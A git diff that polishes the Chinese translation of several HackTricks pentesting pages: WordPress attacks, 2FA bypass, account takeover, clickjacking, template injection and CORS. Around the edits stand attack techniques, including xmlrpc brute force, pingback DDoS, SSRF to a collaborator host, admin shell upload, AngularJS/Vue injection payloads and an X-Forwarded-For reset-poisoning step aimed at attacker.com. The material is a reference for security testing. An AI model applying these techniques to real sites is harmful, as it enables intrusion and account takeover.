`/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` 是一个代表 WordPress 功能的文件,允许数据通过 HTTP 作为传输机制,XML 作为编码机制进行传输。这种类型的通信已被 WordPress [REST API](https://developer.wordpress.org/rest-api/reference) 替代。 +- `xmlrpc.php` 是一个代表 WordPress 功能的文件,允许数据通过 HTTP 作为传输机制,XML 作为编码机制进行传输。这种类型的通信已被 WordPress [REST API](https://developer.wordpress.org/rest-api/reference) 取代。 - `wp-content` 文件夹是存储插件和主题的主要目录。 - `wp-content/uploads/` 是存储上传到平台的任何文件的目录。 - `wp-includes/` 这是存储核心文件的目录,例如证书、字体、JavaScript 文件和小部件。 -- `wp-sitemap.xml` 在 WordPress 版本 5.5 及更高版本中,WordPress 生成一个包含所有公共帖子和可公开查询的帖子类型及分类法的站点地图 XML 文件。 +- `wp-sitemap.xml` 在 WordPress 版本 5.5 及更高版本中,WordPress 生成一个包含所有公共帖子和可公开查询的帖子类型和分类法的站点地图 XML 文件。 **后期利用** -- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐,以及数据库表前缀。该配置文件还可以用于激活 DEBUG 模式,这在故障排除时可能很有用。 +- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐,以及数据库表前缀。此配置文件还可以用于激活 DEBUG 模式,这在故障排除时非常有用。 ### 用户权限 - **管理员** -- **编辑**: 发布和管理他和其他人的帖子 +- **编辑者**: 发布和管理他和其他人的帖子 - **作者**: 发布和管理自己的帖子 - **贡献者**: 撰写和管理自己的帖子但不能发布 - **订阅者**: 浏览帖子并编辑他们的个人资料 @@ -89,9 +89,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -如果响应是 **200** 或 **30X**,这意味着 id 是 **有效** 的。如果响应是 **400**,则 id 是 **无效** 的。 +如果响应是 **200** 或 **30X**,则表示该 id 是 **有效** 的。如果响应是 **400**,则该 id 是 **无效** 的。 -- **wp-json:** 您还可以尝试通过查询获取有关用户的信息: +- **wp-json:** 您还可以通过查询来获取有关用户的信息: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**凭证暴力破解** +**凭据暴力破解** -**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭证的方法。如果你能找到其中任何一个,你可以发送类似于: +**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭据的方法。如果你能找到其中任何一个,你可以发送类似于: ```markup wp.getUsersBlogs @@ -172,14 +172,14 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
-**绕过2FA** +**绕过 2FA** -此方法是针对程序而非人类的,并且较旧,因此不支持2FA。因此,如果您拥有有效的凭据,但主要入口受到2FA保护,**您可能能够利用xmlrpc.php使用这些凭据登录,从而绕过2FA**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到RCE,正如Ippsec在[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)中解释的那样。 +此方法是针对程序而非人类的,并且较旧,因此不支持 2FA。因此,如果您拥有有效的凭据,但主要入口受到 2FA 保护,**您可能能够利用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。 -**DDoS或端口扫描** +**DDoS 或端口扫描** -如果您可以在列表中找到方法_**pingback.ping**_,则可以使Wordpress向任何主机/端口发送任意请求。\ -这可以用来请求**成千上万**的Wordpress **站点** **访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress** **扫描**一些内部**网络**(您可以指定任何端口)。 +如果您可以在列表中找到方法 _**pingback.ping**_,您可以让 Wordpress 向任何主机/端口发送任意请求。\ +这可以用来请求**成千上万**的 Wordpress **站点**去**访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress**去**扫描**一些内部**网络**(您可以指定任何端口)。 ```markup pingback.ping @@ -209,7 +209,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### wp-cron.php DoS -此文件通常位于Wordpress站点的根目录下:**`/wp-cron.php`**\ +此文件通常位于Wordpress网站的根目录下:**`/wp-cron.php`**\ 当访问此文件时,会执行一个“**重**”的MySQL **查询**,因此可能被**攻击者**用来**造成****DoS**。\ 此外,默认情况下,`wp-cron.php`在每次页面加载时被调用(每当客户端请求任何Wordpress页面时),在高流量网站上可能会导致问题(DoS)。 @@ -217,7 +217,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### /wp-json/oembed/1.0/proxy - SSRF -尝试访问_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Wordpress站点可能会向您发出请求。 +尝试访问_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Wordpress网站可能会向您发出请求。 当它不起作用时的响应是: @@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## 通过覆盖一个比特获取访问权限 -这不仅仅是真正的攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件中的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 中的位置 `5389` 翻转为 NOP NOT (`!`) 操作。 +这不仅仅是一次真正的攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转,以 NOP NOT (`!`) 操作。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -275,7 +275,7 @@ use exploit/unix/webapp/wp_admin_shell_upload ![](<../../images/image (722).png>) -上传插件并按“立即安装”: +上传插件并按立即安装: ![](<../../images/image (249).png>) @@ -283,7 +283,7 @@ use exploit/unix/webapp/wp_admin_shell_upload ![](<../../images/image (70).png>) -可能这看起来不会做任何事情,但如果您去媒体,您会看到您的 shell 已上传: +这可能看起来没有任何作用,但如果您转到媒体,您将看到您的 shell 已上传: ![](<../../images/image (462).png>) @@ -301,7 +301,7 @@ use exploit/unix/webapp/wp_admin_shell_upload - 上传下载插件的 zip 文件。 3. **插件激活**:插件成功安装后,必须通过仪表板激活。 4. **利用**: -- 安装并激活插件“reflex-gallery”,可以利用它,因为已知存在漏洞。 +- 安装并激活插件 "reflex-gallery",可以利用它,因为已知存在漏洞。 - Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。 - 注意,这只是利用 WordPress 网站的众多方法之一。 @@ -311,14 +311,14 @@ use exploit/unix/webapp/wp_admin_shell_upload ## 从 XSS 到 RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他 WordPress 中的关键漏洞的脚本。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 WordPress 版本 6.X.X、5.X.X 和 4.X.X 的 **支持,并允许:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本,适用于 WordPress。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 WordPress 版本 6.X.X、5.X.X 和 4.X.X 的 **支持,并允许:** - _**权限提升:**_ 在 WordPress 中创建用户。 - _**(RCE) 自定义插件 (后门) 上传:**_ 将您的自定义插件 (后门) 上传到 WordPress。 - _**(RCE) 内置插件编辑:**_ 编辑 WordPress 中的内置插件。 - _**(RCE) 内置主题编辑:**_ 编辑 WordPress 中的内置主题。 - _**(自定义) 自定义利用:**_ 针对第三方 WordPress 插件/主题的自定义利用。 -## 后利用 +## 后期利用 提取用户名和密码: ```bash @@ -350,7 +350,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -还可以通过使用 `register_rest_route` 函数从 WordPress 暴露函数: +还可以通过使用 `register_rest_route` 函数从 WordPress 注册一个 REST API 来暴露函数: ```php register_rest_route( $this->namespace, '/get/', array( @@ -388,10 +388,10 @@ add_filter( 'auto_update_theme', '__return_true' ); ### **其他建议** -- 删除默认的 **admin** 用户 +- 删除默认 **admin** 用户 - 使用 **强密码** 和 **2FA** - 定期 **审查** 用户 **权限** -- **限制登录尝试** 以防止暴力攻击 +- **限制登录尝试** 以防止暴力破解攻击 - 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md index a3d01c7cc..f689ece2c 100644 --- a/src/pentesting-web/2fa-bypass.md +++ b/src/pentesting-web/2fa-bypass.md @@ -10,9 +10,9 @@ ### **令牌重用** -在账户内重用先前使用的令牌进行身份验证可能是有效的。 +在账户内重用先前使用的令牌进行身份验证可能有效。 -### **未使用令牌的利用** +### **利用未使用的令牌** 从自己的账户提取令牌以绕过另一个账户的 2FA 可以尝试。 @@ -42,7 +42,7 @@ 缺乏对代码尝试次数的限制允许进行暴力攻击,尽管应考虑潜在的静默速率限制。 -请注意,即使存在速率限制,您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇帖子**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中,漏洞猎人发现即使在 20 次不成功尝试后触发速率限制并以 401 响应,如果发送了有效的 OTP,则会收到 200 响应。 +请注意,即使存在速率限制,您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇帖子**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中,漏洞猎人发现即使在 20 次不成功尝试后触发速率限制,响应为 401,但如果发送了有效的 OTP,则收到 200 响应。 #### **慢速暴力攻击** @@ -114,7 +114,7 @@ ### **诱饵请求** -利用诱饵请求来模糊暴力尝试或误导速率限制机制为绕过策略增加了另一层。制作此类请求需要对应用程序的安全措施和速率限制行为有细致的理解。 +利用诱饵请求来模糊暴力攻击或误导速率限制机制为绕过策略增加了另一层。制作此类请求需要对应用程序的安全措施和速率限制行为有细致的理解。 ### OTP 构造错误 diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md index 698c407fb..a2c7c0ecc 100644 --- a/src/pentesting-web/account-takeover.md +++ b/src/pentesting-web/account-takeover.md @@ -12,11 +12,11 @@ 2. 应使用Unicode创建一个账户\ 例如:`vićtim@gmail.com` -正如在[**这个演讲**](https://www.youtube.com/watch?v=CiIyaZ3x49c)中所解释的,之前的攻击也可以通过滥用第三方身份提供者来实现: +如[**此演讲**](https://www.youtube.com/watch?v=CiIyaZ3x49c)所述,之前的攻击也可以通过滥用第三方身份提供者来实现: - 在第三方身份提供者中创建一个与受害者相似的电子邮件账户,使用某些Unicode字符(`vićtim@company.com`)。 - 第三方提供者不应验证电子邮件 -- 如果身份提供者验证了电子邮件,您可以尝试攻击域名部分,例如:`victim@ćompany.com`,并注册该域名,希望身份提供者生成域名的ascii版本,而受害者平台规范化域名。 +- 如果身份提供者验证电子邮件,您可以攻击域名部分,例如:`victim@ćompany.com`,并注册该域名,希望身份提供者生成域名的ascii版本,而受害者平台规范化域名。 - 通过此身份提供者登录受害者平台,受害者平台应规范化Unicode字符并允许您访问受害者账户。 有关更多详细信息,请参阅关于Unicode规范化的文档: @@ -53,7 +53,7 @@ csrf-cross-site-request-forgery.md ## **XSS导致账户接管** -如果您在应用程序中发现XSS,您可能能够窃取cookies、本地存储或网页信息,从而允许您接管账户: +如果您在应用程序中发现XSS,您可能能够窃取cookies、local storage或网页信息,从而允许您接管账户: {{#ref}} xss-cross-site-scripting/ @@ -61,7 +61,7 @@ xss-cross-site-scripting/ ## **同源 + Cookies** -如果您发现有限的XSS或子域接管,您可以操作cookies(例如固定它们)以尝试妥协受害者账户: +如果您发现有限的XSS或子域名接管,您可以操作cookies(例如固定它们)以尝试妥协受害者账户: {{#ref}} hacking-with-cookies/ @@ -83,7 +83,7 @@ reset-password.md oauth-to-account-takeover.md {{#endref}} -## 主机头注入 +## Host头注入 1. 在发起密码重置请求后,修改Host头。 2. 将`X-Forwarded-For`代理头更改为`attacker.com`。 @@ -103,9 +103,9 @@ oauth-to-account-takeover.md 来自[此报告](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea): -- 攻击者请求将其电子邮件更改为新电子邮件 +- 攻击者请求更改他的电子邮件为新的电子邮件 - 攻击者收到确认更改电子邮件的链接 -- 攻击者将链接发送给受害者以便其点击 +- 攻击者将链接发送给受害者以便他点击 - 受害者的电子邮件被更改为攻击者指示的电子邮件 - 攻击者可以恢复密码并接管账户 @@ -113,7 +113,7 @@ oauth-to-account-takeover.md ### 旧Cookies -正如[**在这篇文章中**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9)所解释的,可以登录到一个账户,保存cookies作为经过身份验证的用户,注销,然后再次登录。\ +如[**在此帖子中**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9)所述,可以登录到一个账户,保存cookies作为经过身份验证的用户,注销,然后再次登录。\ 在新的登录中,尽管可能生成不同的cookies,但旧的cookies又开始工作。 ## 参考文献 diff --git a/src/pentesting-web/bypass-payment-process.md b/src/pentesting-web/bypass-payment-process.md index 48b3f35c1..0c48a8365 100644 --- a/src/pentesting-web/bypass-payment-process.md +++ b/src/pentesting-web/bypass-payment-process.md @@ -9,7 +9,7 @@ 在交易过程中,监控客户端与服务器之间交换的数据至关重要。这可以通过拦截所有请求来实现。在这些请求中,注意具有重大影响的参数,例如: - **成功**:该参数通常指示交易的状态。 -- **引荐**:它可能指向请求来源。 +- **引荐来源**:它可能指向请求来源。 - **回调**:这通常用于在交易完成后重定向用户。 ### URL 分析 @@ -21,7 +21,7 @@ ### 参数操控 -1. **更改参数值**:通过更改 _成功_、_引荐_ 或 _回调_ 等参数的值进行实验。例如,将参数从 `false` 更改为 `true` 有时可以揭示系统如何处理这些输入。 +1. **更改参数值**:通过更改参数如 _成功_、_引荐来源_ 或 _回调_ 的值进行实验。例如,将参数从 `false` 更改为 `true` 有时可以揭示系统如何处理这些输入。 2. **移除参数**:尝试完全移除某些参数,以查看系统的反应。有些系统在缺少预期参数时可能会有后备或默认行为。 ### Cookie 篡改 diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index e5ce25740..8bd162d03 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -21,7 +21,7 @@ - 利用光学字符识别(OCR)工具,如[Tesseract OCR](https://github.com/tesseract-ocr/tesseract),自动化从图像中读取字符。 4. **其他技术**: - **速率限制测试**:检查应用程序是否限制在给定时间内的尝试或提交次数,以及是否可以绕过或重置此限制。 -- **第三方服务**:使用提供自动验证码识别和解决的验证码解决服务或API。 +- **第三方服务**:使用验证码解决服务或API,提供自动化验证码识别和解决。 - **会话和IP轮换**:频繁更改会话ID和IP地址,以避免被服务器检测和阻止。 - **用户代理和头部操控**:更改用户代理和其他请求头,以模拟不同的浏览器或设备。 - **音频验证码分析**:如果有音频验证码选项,使用语音转文本服务来解释和解决验证码。 @@ -30,7 +30,7 @@ ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) 是一个由AI驱动的服务,专门自动解决各种类型的验证码,通过帮助开发人员轻松克服在Web抓取过程中遇到的验证码挑战来增强数据收集。它支持的验证码包括**reCAPTCHA V2、reCAPTCHA V3、DataDome、AWS Captcha、Geetest和Cloudflare转闸等**。对于开发人员,Capsolver提供了详细的API集成选项,见[**文档**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** 便于将验证码解决集成到应用程序中。他们还提供了适用于[Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod)和[Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)的浏览器扩展,使用户可以直接在浏览器中轻松使用他们的服务。提供不同的定价套餐以满足不同需求,确保用户的灵活性。 +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) 是一项AI驱动的服务,专门自动解决各种类型的验证码,通过帮助开发人员轻松克服在Web抓取过程中遇到的验证码挑战,增强数据收集。它支持的验证码包括**reCAPTCHA V2、reCAPTCHA V3、DataDome、AWS Captcha、Geetest和Cloudflare转闸等**。对于开发人员,Capsolver提供了详细的API集成选项,见[**文档**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** 便于将验证码解决集成到应用程序中。他们还提供了适用于[Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod)和[Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)的浏览器扩展,使用户可以直接在浏览器中轻松使用他们的服务。提供不同的定价套餐以满足不同需求,确保用户的灵活性。 {% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 0a9c038ee..3bc40016d 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -8,11 +8,11 @@ ### 预填充表单技巧 -有时可以在加载页面时使用 GET 参数**填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。 +有时可以在加载页面时**使用 GET 参数填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。 ### 使用拖放填充表单 -如果您需要用户**填写表单**,但不想直接要求他写一些特定的信息(例如您知道的电子邮件或特定密码),您可以只要求他**拖放**一些东西,这样就会写入您控制的数据,如在[**这个例子**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)中所示。 +如果你需要用户**填写表单**,但不想直接要求他写一些特定的信息(例如你知道的电子邮件或特定密码),你可以只要求他**拖放**一些东西,这样就会写入你控制的数据,如在 [**这个例子**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) 中所示。 ### 基本有效载荷 ```markup @@ -91,7 +91,7 @@ background: #F00; 如果您已识别出一个 **需要用户点击** 某个元素以 **触发** XSS 的 **XSS 攻击**,并且该页面 **易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\ 示例:\ -&#xNAN;_Y您在账户的某些私人细节中发现了一个 **自我 XSS**(只有您可以设置和读取的细节)。包含设置这些细节的 **表单** 的页面 **易受** **点击劫持**,您可以用 GET 参数 **预填充** **表单**。\ +&#xNAN;_Y您在账户的某些私人细节中发现了一个 **自我 XSS**(只有您可以设置和读取的细节)。包含设置这些细节的 **表单** 的页面 **易受** **点击劫持**,您可以用 GET 参数 **预填充** **表单**。_\ \_\_攻击者可以准备一个 **点击劫持** 攻击,通过 **预填充** **表单** 以包含 **XSS 负载**,并 **欺骗** **用户** **提交** 表单。因此,**当表单被提交** 且值被修改时,**用户将执行 XSS**。 ## 减轻点击劫持的策略 @@ -108,7 +108,7 @@ background: #F00; 然而,这些框架破坏脚本可能会被规避: - **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏 JavaScript 支持来阻止这些脚本。 -- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms` 或 `allow-scripts` 值而不包含 `allow-top-navigation` 来中和框架破坏脚本。这会阻止 iframe 验证它是否是顶部窗口,例如, +- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms` 或 `allow-scripts` 值而不包含 `allow-top-navigation` 来中和框架破坏脚本。这防止了 iframe 验证它是否是顶部窗口,例如, ```html ``` Content-Security-Policy: frame-src 'self' https://trusted-website.com; ``` -此策略允许来自相同源(self)和 https://trusted-website.com 的框架。 +此策略允许来自相同来源(self)和 https://trusted-website.com 的框架。 #### `child-src` 指令 @@ -162,7 +162,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com; ``` Content-Security-Policy: child-src 'self' https://trusted-website.com; ``` -此策略允许来自相同源(self)和 https://trusted-website.com 的框架和工作者。 +该策略允许来自相同源(self)和 https://trusted-website.com 的框架和工作者。 **使用说明:** diff --git a/src/pentesting-web/client-side-path-traversal.md b/src/pentesting-web/client-side-path-traversal.md index c2cb46a67..148a1d34a 100644 --- a/src/pentesting-web/client-side-path-traversal.md +++ b/src/pentesting-web/client-side-path-traversal.md @@ -6,7 +6,7 @@ 客户端路径遍历发生在你可以**操纵将要**以**合法方式发送给用户访问的URL路径**,或者用户以某种方式被**强制访问,例如通过JS或CSS**。 -- 在[**这篇文章**](https://erasec.be/blog/client-side-path-manipulation/)中,可以**更改邀请URL**,以便最终**取消一张卡**。 +- 在[**这篇文章**](https://erasec.be/blog/client-side-path-manipulation/)中,可以**更改邀请URL**,使其最终**取消一张卡**。 - 在[**这篇文章**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)中,可以将**通过CSS的客户端路径遍历**(可以更改加载CSS资源的路径)与**开放重定向**结合,以从**攻击者控制的域**加载CSS资源。 - 在[**这篇文章**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)中,可以看到一种如何利用CSPT**执行CSRF攻击**的技术。这是通过**监控攻击者可以控制的所有数据**(URL路径、参数、片段、注入到数据库中的数据...)**以及这些数据的去向**(正在执行的请求)来实现的。 - 查看[**这个浏览器扩展**](https://addons.mozilla.org/en-US/firefox/addon/eval-villain/)以监控这一点。 diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 1c60a77da..a4b10f4da 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -24,14 +24,14 @@ AngularJS 是一个广泛使用的 JavaScript 框架,通过称为指令的属 您可以在 **AngularJS** 中找到该漏洞的一个非常 **基本的在线示例**,链接为 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) > [!CAUTION] -> [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html),因此从这个版本开始,像 `{{constructor.constructor('alert(1)')()}}` 或 `` 的有效载荷应该可以工作。 +> [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html),因此从这个版本开始,像 `{{constructor.constructor('alert(1)')()}}` 或 `` 这样的有效载荷应该可以工作。 ## VueJS 您可以在 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) 找到一个 **易受攻击的 Vue** 实现\ 有效载荷: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() -以及该易受攻击示例的 **源代码** 在这里: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) +以及易受攻击示例的 **源代码** 在这里: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) ```markup ">
aaa
diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 37ae8b4da..801b5950e 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -5,7 +5,7 @@ ## 什么是命令注入? -**命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能会完全被破坏。这些命令的执行通常允许攻击者获得对应用程序环境和底层系统的未经授权的访问或控制。 +**命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能会完全被破坏。这些命令的执行通常使攻击者能够获得对应用程序环境和底层系统的未经授权的访问或控制。 ### 上下文 diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index 1380b7672..d3cd4c90d 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -4,7 +4,7 @@ ## 什么是 CORS? -跨源资源共享 (CORS) 标准 **使服务器能够定义谁可以访问其资产** 和 **哪些 HTTP 请求方法被外部来源允许**。 +跨源资源共享 (CORS) 标准 **使服务器能够定义谁可以访问其资产** 以及 **哪些 HTTP 请求方法被外部来源允许**。 **同源** 策略要求 **请求** 资源的服务器和托管 **资源** 的服务器共享相同的协议(例如,`http://`)、域名(例如,`internal-web.com`)和 **端口**(例如,80)。在此策略下,仅允许来自同一域和端口的网页访问资源。 @@ -62,13 +62,13 @@ xhr.send("Arun") ### 理解跨域通信中的预检请求 -在特定条件下发起跨域请求时,例如使用 **非标准 HTTP 方法**(除了 HEAD、GET、POST 以外的任何方法)、引入新的 **头部**,或使用特殊的 **Content-Type 头部值**,可能需要进行预检请求。此初步请求利用 **`OPTIONS`** 方法,旨在通知服务器即将到来的跨源请求的意图,包括它打算使用的 HTTP 方法和头部。 +在特定条件下发起跨域请求时,例如使用 **非标准 HTTP 方法**(除了 HEAD、GET、POST 以外),引入新的 **头部**,或使用特殊的 **Content-Type 头部值**,可能需要进行预检请求。这个初步请求利用 **`OPTIONS`** 方法,旨在通知服务器即将到来的跨源请求的意图,包括它打算使用的 HTTP 方法和头部。 -**跨源资源共享 (CORS)** 协议要求进行此预检检查,以通过验证允许的方法、头部和来源的可信度来确定请求的跨源操作的可行性。有关哪些条件可以绕过预检请求的详细理解,请参考 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) 提供的综合指南。 +**跨源资源共享 (CORS)** 协议要求进行此预检检查,以通过验证允许的方法、头部和来源的可信度来确定请求的跨源操作的可行性。有关哪些条件可以绕过预检请求的详细理解,请参考 [**Mozilla 开发者网络 (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) 提供的综合指南。 需要注意的是,**缺少预检请求并不意味着响应不需要携带授权头部**。没有这些头部,浏览器将无法处理来自跨源请求的响应。 -考虑以下旨在使用 `PUT` 方法以及名为 `Special-Request-Header` 的自定义头部的预检请求示例: +考虑以下示例,展示了一个旨在使用 `PUT` 方法和名为 `Special-Request-Header` 的自定义头部的预检请求: ``` OPTIONS /info HTTP/1.1 Host: example2.com @@ -77,7 +77,7 @@ Origin: https://example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Authorization ``` -作为响应,服务器可能会返回指示接受的方法、允许的来源和其他CORS策略细节的头部,如下所示: +作为响应,服务器可能会返回指示接受的方法、允许的来源和其他CORS政策细节的头部,如下所示: ```markdown HTTP/1.1 204 No Content ... @@ -99,8 +99,8 @@ Access-Control-Max-Age: 240 ### **本地网络请求预检请求** -1. **`Access-Control-Request-Local-Network`**: 此头部包含在客户端的请求中,以表明该请求是针对本地网络资源的。它作为一个标记,通知服务器请求源自本地网络内。 -2. **`Access-Control-Allow-Local-Network`**: 作为响应,服务器利用此头部来传达请求的资源被允许与本地网络外的实体共享。它作为跨越不同网络边界共享资源的绿灯,确保在维护安全协议的同时实现受控访问。 +1. **`Access-Control-Request-Local-Network`**: 此头部包含在客户端的请求中,以表明该查询旨在访问本地网络资源。它作为一个标记,通知服务器请求源自本地网络内。 +2. **`Access-Control-Allow-Local-Network`**: 作为响应,服务器利用此头部来传达请求的资源被允许与本地网络外的实体共享。它作为跨不同网络边界共享资源的绿灯,确保在维护安全协议的同时实现受控访问。 一个**有效的响应允许本地网络请求**还需要在响应中包含头部 `Access-Controls-Allow-Local_network: true` : ``` @@ -129,15 +129,15 @@ Access-Control-Allow-Credentials: true ## 可利用的错误配置 -已观察到将 `Access-Control-Allow-Credentials` 设置为 **`true`** 是大多数 **真实攻击** 的前提条件。此设置允许浏览器发送凭据并读取响应,从而增强攻击的有效性。如果没有这个,利用浏览器发出请求的好处就会减少,因为利用用户的 cookies 变得不可行。 